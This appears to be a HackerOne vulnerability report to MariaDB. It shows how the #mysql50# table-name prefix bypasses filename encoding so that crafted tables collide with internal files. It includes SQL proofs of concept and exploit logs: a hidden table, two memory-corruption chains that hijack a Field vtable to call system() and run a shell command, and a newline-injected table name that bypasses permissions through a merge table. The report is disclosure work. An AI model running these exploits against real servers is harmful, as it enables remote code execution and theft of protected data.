MariaDB · Report #3849051
#mysql50# legacy alias / internal table collisions
How it was found
Note: a working (but heavily vibecoded mess of a) remote code execution chain for this issue is available. I recommend not posting anything publicly accessible about this in JIRA until resolved.
While the previous #mysql50# report (https://hackerone.com/reports/3849040) focused on exploiting issues relating to stale cache entries that are keyed by table name, this issue focuses more on the filesystem side of things and how tablename_to_filename() encoding differences can be abused.
uint tablename_to_filename(const char *from, char *to, size_t to_length)
{
if ((length= check_n_cut_mysql50_prefix(from, to, to_length)))
{
if (Lex_ident_table::check_name({to, length}, true))
{
to[0]= 0;
length= 0;
}
DBUG_RETURN(length);
}
length= strconvert(system_charset_info, from, FN_REFLEN,
&my_charset_filename, to, to_length, &errors);
if (check_if_legal_tablename(to) &&
length + 4 < to_length)
{
memcpy(to + length, "@@@", 4);
length+= 3;
}
DBUG_RETURN(length);
}
True to its name, check_n_cut_mysql50_prefix() checks the table name for the #mysql50# prefix, removes it if present (to) and we fall into that first conditional block (this is the part we care about) - otherwise names get converted normally in the modern format. e.g. foo/bar > foo@002fbar.
Lex_ident_table::check_name() wraps Lex_ident_fs::check_body() which then essentially does the following:
bool Lex_ident_fs::check_body(const char *name, size_t length,
bool disallow_path_chars)
{
..
for ( ; name != end ; char_length++)
{
...
if (disallow_path_chars &&
(*name == '/' || *name == '\\' || *name == '~' || *name == FN_EXTCHAR))
return 1;
if (*name == 0x00)
return 1;
name++;
}
return char_length > NAME_CHAR_LEN;
}
Thus anything other than /, \, ~, ., or NULL is essentially fair game in a #mysql50# prefixed table name. Because no encoding takes place, which is sort of the whole reason for this special-case handling to begin with, prefixed table names may be used to create, access, or alter internal / storage-engine "reserved" db related files.
The biggest problem is with having unencoded # chars in a #mysql50#-prefixed table name, which allows an attacker to collide with things such as the following (probably non-comprehensive list):
#sql*,#rocksdb*,#cache#(ColumnStore)<table>#P#<partition><table>#P#<partition>#TMP#<table>#P#<partition>#REN#<table>#P#<partition>#SP#<subpartition><table>#i#<NN>- etc
There may also be some non-# related storage-engine issues such as tables colliding with FTS_* auxiliary-looking InnoDB names, e.g.
FTS_<table_id>_CONFIGFTS_<table_id>_<index_id>_INDEX_1
Or table names that include control characters which can corrupt internal settings in things like merge tables and allow for ACL bypasses, e.g.
foo\nbar
Or ... other weird and wonderful things? :shrug:
Suggested Fix
Codex suggests the following (in order of preference)
- remove
#mysql50#support completely - allow, but only for opening existing legacy files and explicit
ALTER DATABASE ... UPGRADE DATA DIRECTORY NAME - otherwise reject anything containing control bytes or internal marker grammer (or maybe just
#?).
Proof of Concept - #sql* (hidden tables)
-- file names get encoded
CREATE TABLE `#sql-visible`(a INT);
INSERT INTO `#sql-visible` VALUES (1);
-- file names do not get encoded (and can be used directly afterwards)
CREATE TABLE `#mysql50##sql-hidden`(a INT);
INSERT INTO `#sql-hidden` VALUES (2);
-- non-encoded tables are treated as special
SHOW TABLES;
-- +------------------+
-- | #sql-visible |
-- +------------------+
SELECT * FROM `#sql-visible`;
-- +------+
-- | 1 |
-- +------+
SELECT * FROM `#sql-hidden`;
-- +------+
-- | 2 |
-- +------+
Proof of Concept - <table>#P#<partition> (RCE)
When weaponized with ASLR bypass / read-what-where / write-what-where primitives from the other #mysql50# report (or elsewhere), an attacker can use a partition physical-table schema mismatch as the final memory-corruption and dispatch primitive.
The attacker creates a normal partitioned MyISAM parent table with a small parent record field, releases the partition handles, then drops and re-creates the hidden physical partition table (#mysql50#<parent>#P#p0) with a much larger compatible-looking row field. When the parent partition is read, ha_partition materializes the physical child row into the parent table’s record buffer using mismatched child metadata, overflowing past the parent row buffer into adjacent live Field objects.
The complete-chain PoC overwrites a reachable Field vtable pointer, stages a fake vtable, and dispatches through Field::val_int() via a parent-table SELECT.
==============================================================================
MariaDB: #mysql50# partition physical-table record overflow
vortfu <[email protected]>
target=11.8.8-MariaDB-deb13/aarch64 release build=450e330a
==============================================================================
...
[*] bypassing ASLR
[-] recovering image base via MEMORY inverse leak
[+] image_base=0xaaaac5fb0000
[-] verify: image base readback
[-] readback @base head=7f454c46020101030000000000000000
[-] verdict ELF64_OK
[*] arming partition physical-table replacement
[-] parent=`testdb`.`part_mysql50_ad450e8b` parent.c=VARBINARY(8)
[-] physical=`testdb`.`#mysql50#part_mysql50_ad450e8b#P#p0` physical.c=VARBINARY(65504) actual_payload=65504 engine=MyISAM
[>] mysql> CREATE TABLE `testdb`.`part_mysql50_ad450e8b`(
id INT NOT NULL,
c VARBINARY(8),
PRIMARY KEY(id)
) ENGINE=MyISAM
PARTITION BY RANGE(id)(
PARTITION p0 VALUES LESS THAN (10),
PARTITION p1 VALUES LESS THAN MAXVALUE
)
[>] mysql> INSERT INTO `testdb`.`part_mysql50_ad450e8b` VALUES(1,'orig0'),(20,'orig1')
[>] mysql> ALTER TABLE `testdb`.`part_mysql50_ad450e8b` COMMENT='release partition handles'
[>] mysql> DROP TABLE `testdb`.`#mysql50#part_mysql50_ad450e8b#P#p0`
[>] mysql> CREATE TABLE `testdb`.`#mysql50#part_mysql50_ad450e8b#P#p0`(
id INT NOT NULL,
c VARBINARY(65504),
PRIMARY KEY(id)
) ENGINE=MyISAM
[>] mysql> INSERT INTO `testdb`.`#mysql50#part_mysql50_ad450e8b#P#p0` VALUES(1, <payload 65504 bytes>)
[>] mysql> SELECT LENGTH(c) AS physical_len, HEX(SUBSTR(c,1,16)) AS physical_head FROM `testdb`.`#mysql50#part_mysql50_ad450e8b#P#p0`
physical_len=65504 physical_head=504152544D5953514C3530504152544D
[*] probing partition parent TABLE layout
[>] mysql> LOCK TABLE `testdb`.`part_mysql50_ad450e8b` READ
[+] parent TABLE=0xaaaaf1bb60e8 share=0xf7ff8402cb80 handler=0xf7ff84030358
[+] record0=0xf7ff84031ce0 record1=0xf7ff84031cf0 record2=0xf7ff84031cf0
[+] TABLE::field=0xf7ff84031d00 delta_from_record0=+0x20
[+] share.reclength=14 share.rec_buff_length=16 fields=2
field[0] Field=0xf7ff84031da0 vptr=0xaaaac77416b0 ptr=0xf7ff84031ce1 table=0xaaaaf1bb60e8 len=11 idx=0 delta_field=+0xc0 delta_data=+0xbe
field[1] Field=0xf7ff84031e70 vptr=0xaaaac7747e58 ptr=0xf7ff84031ce5 table=0xaaaaf1bb60e8 len=8 idx=1 delta_field=+0x190 delta_data=+0x18a
[+] partition payload start for c=0xf7ff84031ce7 c_Field_delta=+0x189 verdict=FORWARD_REACHABLE
[-] target candidate field[0] delta_from_payload=+0xb9 reachable
[-] target candidate field[1] delta_from_payload=+0x189 reachable
[*] staging patched fake vtable
[+] fake vtable call target=system_pivot(image+0x73b6e0 -> libc system) addr=0xaaaac66eb6e0
[-] partition dispatch target field[0] patched_slots={val_int+0xc8}
[-] target Field[0] real_vtable=0xaaaac77416b0
[-] system_pivot cmd='id>/tmp/p50rce' system=0xffffbbdd9380
[-] stage table=`testdb`.`part_field_stage` TABLE=0xf7ff881c4f68 record0=0xf7ff8b03bc60
[+] cloned real target vtable=0xaaaac77416b0 len=0x400
[+] fake_vtable=0xf7ff8b040100 patched_slots={val_int+0xc8} -> 0xaaaac66eb6e0
[+] verify fake_vtable[0xc8]=0xaaaac66eb6e0
[+] payload base cloned live memory range 0xf7ff84031ce7..0xf7ff84031e80 len=409
[+] partition payload overwrites target Field[0] at payload+0xb9 Field=0xf7ff84031da0 data_start=0xf7ff84031ce7
[+] payload_len=409 fake_vtable=0xf7ff8b040100
[>] mysql> UPDATE `testdb`.`#mysql50#part_mysql50_ad450e8b#P#p0` SET c=<payload 409 bytes> WHERE id=1
[>] mysql> SELECT LENGTH(c) AS physical_len, HEX(SUBSTR(c,1,16)) AS physical_head FROM `testdb`.`#mysql50#part_mysql50_ad450e8b#P#p0`
physical_len=409 physical_head=00000000000000000000000000000000
[*] triggering partition Field-vptr dispatch path
[-] execute mode: expect command 'id>/tmp/p50rce' and clean query return for val_int mode
[*] triggering returnable Field-vptr dispatch
[-] execute mode: server should remain alive after val_int dispatch
[-] triggering parent partition read; payload_len=65504
[-] complete-chain trigger uses id+0 to dispatch Field[0]->val_int() after metadata
[>] mysql> SELECT id + 0 AS dispatched_val_int
FROM `testdb`.`part_mysql50_ad450e8b` PARTITION(p0)
LIMIT 1
0
[+] execute trigger returned cleanly
[*] summary
[+] partition replacement primitive reached parent record materialization
[-] artifacts left in testdb: part_mysql50_ad450e8b and #mysql50#part_mysql50_ad450e8b#P#p0
-rw-rw---- 1 mysql mysql 48 Jul 6 21:37 /tmp/p50rce
uid=101(mysql) gid=104(mysql) groups=104(mysql)
Proof of Concept - #i#<NN> (RCE)
When weaponized with ASLR bypass / read-what-where / write-what-where primitives from the other #mysql50# report (or elsewhere), an attacker can use the VECTOR HLINDEX hidden-helper table as the final dispatch gadget by planting a fake Field/vtable, re-creating the table with mismatched schema such that graph->field[2] now points to the fake field, and then dispatching graph->field[2]->value_length() through the fake vtable via MHNSW_Share::acquire() #
==============================================================================
MariaDB: #mysql50# VECTOR HLINDEX hidden-helper Field vptr dispatch
vortfu <[email protected]>
target=11.8.8-MariaDB-deb13/aarch64 build=450e330a
==============================================================================
...
[*] bypassing ASLR
[-] recovering image base via MEMORY inverse leak
[+] image_base=0xaaaac3de0000
[-] verify: image base readback
[-] readback @base head=7f454c46020101030000000000000000
[-] verdict ELF64_OK
[*] staging external fake Field/vtable
[+] fake vtable call target=system_pivot(image+0x73b6e0 -> libc system) addr=0xaaaac451b6e0
[-] vector call site is graph->field[2]->value_length() slot+0x150
[-] system_pivot cmd='id>/tmp/v50rce' cmd_addr=0xf7ff38a12cb0 system=0xffff84b09380
[-] stage table=`testdb`.`vec_field_stage` TABLE=0xf7ff5e192148 record0=0xf7ff38a12b80
[+] fake_field=0xf7ff38a12c00 fake_vtable=0xf7ff38a12f00 vector_slot+0x150=0xaaaac451b6e0
[+] verify fake_field.vptr=0xf7ff38a12f00 fake_vtable[0x150]=0xaaaac451b6e0
[+] verify system_pivot cmd_head=69643e2f746d702f7635307263650000 target=0xffff84b09380
[*] preparing vector hidden-helper slot overwrite
[>] mysql> CREATE TABLE `testdb`.`vec_field_chain`(
id INT PRIMARY KEY,
v VECTOR(3) NOT NULL,
VECTOR KEY(v) m=3
) ENGINE=MyISAM
[>] mysql> INSERT INTO `testdb`.`vec_field_chain` VALUES (1,VEC_FromText('[1,2,3]'))
[>] mysql> ALTER TABLE `testdb`.`vec_field_chain` COMMENT='release hidden handle'
[>] mysql> DROP TABLE `testdb`.`#mysql50#vec_field_chain#i#01`
[>] mysql> CREATE TABLE `testdb`.`#mysql50#vec_field_chain#i#01`(
layer VARBINARY(255) NOT NULL,
tref VARBINARY(6),
vec BLOB NOT NULL,
neighbors BLOB NOT NULL,
UNIQUE(tref),
KEY(layer(1))
) ENGINE=MyISAM
[>] mysql> INSERT INTO `testdb`.`#mysql50#vec_field_chain#i#01` VALUES (<layer payload>, X'000000000000', <vec>, X'00')
[>] mysql> SELECT LENGTH(layer) AS layer_len, HEX(SUBSTR(layer,79,8)) AS target_slot_le FROM `testdb`.`#mysql50#vec_field_chain#i#01`
layer_len=255 target_slot_le=002CA138FFF70000
[+] vector helper payload_len=255 slot_offset=0x4e fake_field=0xf7ff38a12c00
[*] triggering vector dispatch path
[-] system_pivot mode: expect command 'id>/tmp/v50rce' before connection loss/crash
[>] mysql> INSERT INTO `testdb`.`vec_field_chain` VALUES (2,VEC_FromText('[2,3,4]'))
[-] chain failed: SQLSTATE[HY000]: General error: 2006 MySQL server has gone away
-rw-rw---- 1 mysql mysql 48 Jul 6 19:31 /tmp/v50rce
uid=101(mysql) gid=104(mysql) groups=104(mysql)
Proof of Concept - MRG_MYISAM (ACL Bypass)
Assuming the following setup (and a separate attacker controlled db):
CREATE DATABASE victim;
GRANT CREATE TEMPORARY TABLES ON `victim`.* TO 'vortfu'@'localhost';
CREATE TABLE victim.secret(id INT, data LONGTEXT) ENGINE=MYISAM;
INSERT INTO victim.secret VALUES (1, 'foo-secret-bar');
An attacker can create two tables in their own db:
testdb.xandtestdb.#mysql50#x\n#INSERT_METHOD=LAST\nsecret
When they create a temporary table on victim that merges with testdb.#mysql50#x\n#INSERT_METHOD=LAST\nsecret, permission checks are performed against the latter, but the storage-engine will store / read child tables as being newline delimited.
storage/myisammrg/myrg_create.c:42
int myrg_create(const char *name, const char **table_names,
uint insert_method, my_bool fix_names)
{
...
strmov(buff,*table_names);
*(end=strend(buff))='\n';
mysql_file_write(file, (uchar*) buff, (uint) (end-buff+1), ...);
storage/myisammrg/myrg_open.c:65
MYRG_INFO *myrg_open(const char *name, int mode, int handle_locking)
{
...
while ((length=my_b_gets(&file,buff,FN_REFLEN-1)))
{
...
if (buff[0] && buff[0] != '#')
files++;
}
...
while ((length=my_b_gets(&file,buff,FN_REFLEN-1)))
{
...
if (buff[0] == '#')
{
if (!strncmp(buff+1,"INSERT_METHOD=",14))
found_merge_insert_method =
(uint) find_type(buff + 15, &merge_insert_method, FIND_TYPE_BASIC);
continue;
}
and thus the table actually merges testdb.x and victim.secret, e.g.
SELECT * FROM victim.secret;
--ERROR 1142 (42000): SELECT command denied to user 'vortfu'@'localhost' for table `victim`.`secret`
CREATE OR REPLACE TABLE testdb.x(id INT, data LONGTEXT) ENGINE=MYISAM;
CREATE OR REPLACE TABLE testdb.`#mysql50#x
#INSERT_METHOD=LAST
secret`(id INT) ENGINE=MYISAM;
CREATE OR REPLACE TEMPORARY TABLE victim.m(id INT, data LONGTEXT)
ENGINE=MRG_MYISAM
UNION=(testdb.`#mysql50#x
#INSERT_METHOD=LAST
secret`);
SELECT * FROM victim.m;
-- +------+----------------+
-- | id | data |
-- +------+----------------+
-- | 1 | foo-secret-bar |
-- +------+----------------+
Note: a case-sensitive fs (@@lower_case_table_names=0) is needed to allow INSERT on the victim table, otherwise the #INSERT_METHOD= directive is lower-cased and ignored. SELECT, UPDATE, and DELETE should be able to work without it regardless.
Impact
also pwned :(